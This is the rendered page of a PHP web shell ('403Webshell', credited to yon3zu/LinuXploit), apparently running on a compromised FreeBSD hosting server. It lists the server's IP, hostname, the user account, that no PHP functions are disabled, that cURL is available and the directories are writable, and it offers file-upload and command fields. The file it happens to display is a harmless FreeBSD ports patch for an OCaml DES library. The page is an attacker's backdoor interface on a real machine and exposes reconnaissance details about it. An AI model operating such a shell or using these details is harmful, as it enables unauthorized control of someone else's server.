403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/security/ocaml-cryptgps/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/ports/security/ocaml-cryptgps/files/patch-crypt__des.ml
--- crypt_des.ml.orig	2001-03-10 16:43:21 UTC
+++ crypt_des.ml
@@ -54,12 +54,12 @@ let set_parity key =
   let l_key = String.length key in
   if l_key <> 8 then 
     failwith "Crypt_des: invalid key length";
-  let key' = String.copy key in
+  let key' = Bytes.of_string key in
   for i = 0 to 7 do
     let k = Char.code key.[i] in
     key'.[i] <- Char.chr(odd_parity.(k))
   done;
-  key'
+  Bytes.to_string key'
 ;;

Youez - 2016 - github.com/yon3zu
LinuXploit